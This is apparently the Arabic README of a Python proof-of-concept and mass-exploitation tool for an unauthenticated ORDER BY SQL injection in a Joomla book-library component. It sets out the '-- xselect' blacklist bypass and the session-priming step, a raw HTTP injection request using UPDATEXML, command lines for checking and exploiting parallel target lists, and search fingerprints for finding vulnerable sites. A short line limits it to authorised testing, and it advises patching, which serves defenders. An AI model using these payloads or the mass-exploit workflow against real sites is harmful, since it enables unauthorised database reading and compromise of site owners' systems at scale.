
Python 3 PoC واستغلال جماعي لـ CVE-2026-101110، وهو حقن SQL غير مصادق عليه في ORDER BY في OrdaSoft Joomla Book Library <=6.4.6 عبر معاملات field/direction.
نموذج إثبات مفاهيم (PoC) بلغة Python 3 لـ CVE-2026-101110 — OrdaSoft Book Library (Free) لنظام Joomla ≤ 6.4.6. قم بالترقية إلى 6.4.7+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| الدليل | https://pocbit.org/pocs/ |
| المكون | com_booklibrary |
| الملف / الدالة | site/booklibrary.php → books() |
| البارامترات | field، direction (الترتيب) |
| المصادقة | لا توجد (قوائم الكتب العامة) |
| CWE | CWE-89 حقن SQL |
| CVSS 4.0 | 9.3 حرجة (Joomla CNA) |
| الإسناد | Ala Arfaoui |
يُعد Book Library (Free) إضافة من OrdaSoft تقدم مكتبة كتب وقوائم فئات في نظام Joomla. في الإصدارات 6.4.6 والإصدارات الأقدم، تقوم دالة books() بفلترة بارامترات field و direction باستخدام protectInjectionWithoutQuote(). تطبق هذه الدالة قائمة سوداء ضعيفة تبحث فقط عن السلسلة الفرعية select؛ وعند العثور عليها، تغلف القيمة بـ $db->quote() بدلاً من رفضها.
تُضاف القيم لاحقاً إلى عبارة ORDER BY غير المحاطة بعلامات اقتباس — حيث أن استخدام علامات الاقتباس هنا لا يمنع حقن SQL (وفقاً لشرح CNA).
شرطان مطلوبان للاستغلال:
field / direction) المخزنة في الجلسة. -- xselect إلى نهاية الحمولة؛ مما يتجاوز فحص القائمة السوداء، ولا يؤثر تعليق SQL على بقية الحمولة.النتيجة: ثغرة ORDER BY SQLi بدون مصادقة، تشكل خطراً حقيقياً على قراءة/كتابة قاعدة البيانات وسلامة الموقع.
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
الفلتر الضعيف (مفاهيمي):
select (سلسلة فرعية) → يتم تغليف القيمة بالكامل بعلامات اقتباس (غير ذي صلة في سياق ORDER BY).-- xselect بحيث ترى القائمة السوداء select داخل ذيل التعليق، بينما يبقى التعبير النشط قبل -- كاستعلام SQL قابل للتنفيذ (خدع استناداً للأخطاء / UPDATEXML / تراكب ORDER BY).يطبق نموذج PoC ما يلي:
| الخطوة | الإجراء |
|---|---|
| بصمة النظام | مسارات com_booklibrary + إصدار المانيفست الاختياري |
| اكتشاف المسار | showCategory، search، showBooks، books، … + catid / Itemid المستخرجة |
| فحص | تمهيد الجلسة → تأكيد ثغرة SQLi (علم / VERSION()) |
| استغلال | تمهيد → استخراج --subquery (افتراضي SELECT VERSION()) |
| جماعي | --list + -j أهداف متوازية؛ ملف exploited.txt عند نجاح التسريب |
ثابت لاحقة الحمولة في الكود: -- xselect (BLACKLIST_DECOY).
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| المعلمة | المعنى |
|---|---|
--aggressive | يحاول وضع الفحص تسريب الإصدار بعد التمهيد |
--subquery | التعبير الداخلي لحمولات UPDATEXML / الاستعلام المزدوج |
--exploited-list | الاستخراج الناجح مفصولاً بجدول |
--no-color | تعطيل ANSI (أيضاً عبر NO_COLOR) |
تنسيق JSONL: pocbit، pocbit_catalog، pocbit_page، cve، component، session_primed.
تمهيد (الجلسة):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
الحقن (يضيف نموذج PoC الزائف):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
يتم محاولة متغيرات POST على نفس المسار عند فشل طلب GET.
ملف المانيفست (إذا كان مكشوفاً):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → سطر متأثر بالثغرة؛ ≥ 6.4.7 → مُصلّح (patched_version في مخرجات الفحص).
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | الامتداد | المشكلة | الإصدار المصحح |
|---|---|---|---|
| CVE-2026-101110 | Book Library | ORDER BY SQLi + تجاوز القائمة السوداء | 6.4.7 |
| CVE-2026-101111 | Book Library | XSS معكوس (بارامتر title) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | ORDER BY SQLi | 6.7.9 |
قم بإصلاح جميع مكونات OrdaSoft التي تقوم بنشرها.
com_booklibrary ضمن مهام البحث/الإقراض (CVE-2010-1522) — مسارات كود مختلفةالاختبار المصرح به والتحقق من التصحيحات فقط.
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110